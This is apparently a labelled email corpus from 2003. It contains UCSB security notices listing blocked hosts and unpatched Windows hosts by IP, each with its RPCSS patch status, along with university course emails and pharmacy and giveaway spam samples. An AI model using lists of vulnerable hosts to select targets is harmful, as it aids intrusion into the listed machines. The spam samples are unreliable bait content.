CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA04412 for ; Mon, 27 Oct 2003 14:38:54 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA25181 for ; Mon, 27 Oct 2003 14:38:52 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AEG0i-000Mse-3y; Mon, 27 Oct 2003 14:38:52 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AEG0f-000MsC-Fw; Mon, 27 Oct 2003 14:38:49 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1AEG0f-000Ms7-9x; Mon, 27 Oct 2003 14:38:49 -0800 Date: Mon, 27 Oct 2003 14:38:44 -0800 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <9520000.1067294324@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts (and those to be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1AEG0i-000Mse-3y*0lvqKeLfKbg* Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Beginning October 30 (Thursday), hosts that have been on the ""unpatched hosts"" list for more than one week will be blocked in order to prevent their involvement in any new security incidents. We felt compelled to do this because patches for these vulnerabilities have been available for quite some time, hosts in our domain are being scanned for these vulnerabilities by potential intruders, and system compromises have occurred due to lack of patching. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.206 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.29.142 spiff.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.39.59 SM3959.resnet.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.139 truffala.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.156 host108-156.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.142.170 128.111.142.208 128.111.159.149 128.111.159.150 128.111.159.163 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.215.97 128.111.220.89 dhcp89.nceas.ucsb.edu 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.189 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.190 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.44 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.33 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.25 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.27 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.42 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.59 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.127 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.138 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.146 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.108.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.110.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.111.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.112.13 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.108 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.196.76 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.71 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.96 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 48 RPCSS Vulnerable ............................. 127 DCOM Disabled ................................ 68 Not Vulnerable ............................... 3731 Errors ....................................... 19 TCP Port 135 Closed or Host Timeout .......... 61591 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 28 Oct 2003 15:41:23 -0600",Re: Assignment 4 Query," > While working on project 4, we weren't able to figure out exactly what the > ""lc35_vsim .... "" command was for. > > Is it for running the hex code? because if it is, then it's not giving us > the right values in the registers when we try to add two numbers. If you look inside the make_lc35 script csh> make_lc35 lc35.f you will see that it produces an executable named lc35_vsim, instead of ""simv"". I created the script so you wouldn't have to deal with some of the messiness of creating the verilog simulator executable. The way to run this is with a command like the following: csh> lc35_vsim +vhex+fib.vhex +maxc5000 This tells it to read the program from the file fib.vhex and to execute at most 5000 cycles. Note that the .vhex file differs from the .hex file, and it is created when you assemble your .asm using the following program. csh> lc35_asm fib.asm You should be able to follow the recipe at: http://www.cs.utexas.edu/users/skeckler/cs352h/handouts/lc35.txt and obtain the proper results. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 28 Oct 2003 19:05:31 -0600",programming in pairs," Folks, A couple of issues arose in the grading of HW #3. - Some of you turned in only one written assignment for the pair, even though the HW #3 clearly stated that *only for the Verilog part of the assignment* were you to work in pairs and submit only one solution. - In some cases both members of the pair submitted things using the turnin script for the Verilog part of the assignment. This was a hassle because in more than one case, one of the submissions was garbage while the other was good. It was a hassle for us to wade through this. - Several of you did not turn in a hardcopy of your verilog code, even though the notes on the web page asked you to. For HW #4: **** Turn in the book problems separately from your partner **** Only submit one set of verilog files per pair **** Check the web page (homework) for updates and notes regarding HW requirements. Thanks, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"28 Oct 2003 23:50:06 +0300 Received: from mx.reskind.net ([66.51.45.87]) by smtp.endend.nl with esmtp; 29 Oct 2003 02:39:15 +1200 Message-ID: Reply-To: From: To: ""xxxxxxx xxxxxxx"" Subject: here is the Rx information you requestedEhjfofoqd Date: Wed, 29 Oct 2003 06:19:00 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_AB6_CBEB_03EBBF37.81F118FC"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-RCPT-TO: Status: U X-UIDL: 344254612 This is a multi-part message in MIME format. ------=_NextPart_AB6_CBEB_03EBBF37.81F118FC Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ------=_NextPart_AB6_CBEB_03EBBF37.81F118FC Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: base64 UWkgTnl0a3ggPCFIeEJrIFltIFhvdWJhLj4NCjxCT0RZPg0KPERJViBhbGlnbj1jZW50ZXI+DQog IDxwPjxGT05UIGxhbmc9MCANCnN0eWxlPSJCQUNLR1JPVU5ELUNPTE9SOiAjZmZmZmZmIj48VT48 U1RST05HPlZpczwhUXB0Pml0IE91ciBPbjwhWWdidz5saTwhSmJybT5uZSZuYnNwO0ludGVyPCFC aGlyPm5ldCBQaGFyPCFNbnc+bWFjeTwvU1RST05HPjwvVT48L0ZPTlQ+PEJSPg0KICAgIDxmb250 IGNvbG9yPSIjRkZGRkZGIj5HbSBVaWV4ZGs8L2ZvbnQ+PC9wPg0KICA8cD48Rk9OVCBsYW5nPTAg DQpzdHlsZT0iQkFDS0dST1VORC1DT0xPUjogI2ZmZmZmZiI+PEEgaWQ9aHJlZj1odHRwOi8vY2Fu cmVtLmNvbSB0aXRsZT1odHRwOi8vY2FudG9yLmNvbSBocmVmPSJodHRwOi8vcm90b3RAZXo4cy5u ZXQvaW5kZXgucGhwP0tCSUQ9MTAwNyI+PElNRyBzcmM9Imh0dHA6Ly9seW9kZXJAZXo4cy5uZXQv aW1hZ2VzL3BoYXJtLWltYWdlLmpwZyIgYWxpZ249YmFzZWxpbmUgYm9yZGVyPTA+PC9BPiA8L0ZP TlQ+PC9wPg0KPC9ESVY+DQo8RElWIGFsaWduPWNlbnRlcj4NCiAgPHAgYWxpZ249Y2VudGVyPjxm b250IGNvbG9yPSIjRkZGRkZGIj5WeHQgSndkdGk8L2ZvbnQ+DQogIDxwIGFsaWduPWNlbnRlcj48 Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0iMiI+DQogICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFs IiBzaXplPSIyIj48Yj5NZTwhTW0+ZGljPCFFZnU+YWwgY29uPCFGeW9yPnN1bDwhWXE+dGF0aW9u cyBhcmU8YnI+DQogICAgYWx3YXlzPGZvbnQgY29sb3I9cmVkPiBGPCFLPlJFRSE8L2ZvbnQ+PC9i PiA8YnI+DQogICAgPGZvbnQgY29sb3I9IiNGRkZGRkYiPlFxeCBCbWd2PC9mb250Pjxicj4NCiAg ICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjIiPjxhIGlkPWhyZWY9aHR0cDovL2Nh bnRveC5jb20gdGl0bGU9aHR0cDovL2NhbnR2Lm5ldCBocmVmPSJodHRwOi8vbmFpbHM5QGV6OHMu bmV0L2luZGV4LnBocD9LQklEPTEwMDciPjxmb250IA0KY29sb3I9cmVkPjxiPkM8IVM+bGljayBI RVJFIFRvIE88IVFqYj5yPCFRZG1kPmQ8IUc+ZXIgTk9XPC9iPjwvZm9udD48L2E+PC9mb250Pjwv cD4NCiAgPGZvbnQgbGFuZz0iMCIgc3R5bGU9IkJBQ0tHUk9VTkQtQ09MT1I6ICNmZmZmZmYiIGNv bG9yPSIjRkZGRkZGIj5XbmsgU2l2ZHZnPC9mb250PjwvRElWPg0KPERJViBhbGlnbj1jZW50ZXI+ PEZPTlQgbGFuZz0wIA0Kc3R5bGU9IkJBQ0tHUk9VTkQtQ09MT1I6ICNmZmZmZmYiPjwvRk9OVD4m bmJzcDs8L0RJVj4NCjxESVYgYWxpZ249Y2VudGVyPjxGT05UIGxhbmc9MCBzdHlsZT0iQkFDS0dS T1VORC1DT0xPUjogI2ZmZmZmZiI+PEEgaWQ9aHJlZj1odHRwOi8vY2FudWZseS5uZXQgdGl0bGU9 aHR0cDovL2NhcGJsdWVjcm9zcy5jb20gaHJlZj0iaHR0cDovL2JhZGJveWJlYXJAZXo4cy5uZXQv ci8iPk5vPCFDZWc+IFRoPCFHaHhnPmFua3M8L0E+PC9mb250PjwvRElWPjwvQk9EWT48L0hUTUw+ DQpBIHNtYWxsIGxlYWsgd2lsbCBzaW5rIGEgZ3JlYXQgc2hpcC4NClNuIEV1YXUgPCFVcyxCcSBL ZXAgVWNteWEuPg0KPGJyPjxicj48YnI+PGJyPjxicj4xMDcyZmY= ------=_NextPart_AB6_CBEB_03EBBF37.81F118FC--",1,0 Vacation On Us ,"""alan@cs.utexas.edu"" ","Wed, 29 Oct 2003 02:02:26 -0700",socorro@cs.utexas.edu our complimentary tickets to Universal," *******Email message for Mona@em.ca******* Mona@em.ca, we need you to contact us. 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Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [CSF] Blocked Hosts (and those to be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1AEynZ-000LPE-Gv*BDYRLe21gtU* Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Beginning October 30 (Thursday), hosts that have been on the ""unpatched hosts"" list for more than one week will be blocked in order to prevent their involvement in any new security incidents. We felt compelled to do this because patches for these vulnerabilities have been available for quite some time, hosts in our domain are being scanned for these vulnerabilities by potential intruders, and system compromises have occurred due to lack of patching. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.206 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.156 host108-156.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.142.170 128.111.142.208 128.111.159.150 128.111.161.6 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.165.44 host165-44.lsdepts.ucsb.edu 128.111.220.92 dhcp92.nceas.ucsb.edu 128.111.229.220 128.111.229.229 128.111.234.165 oldfunky.geog.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.30.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.154 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.238 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.58.133 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.127 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.226 RPCSS Vulnerable - 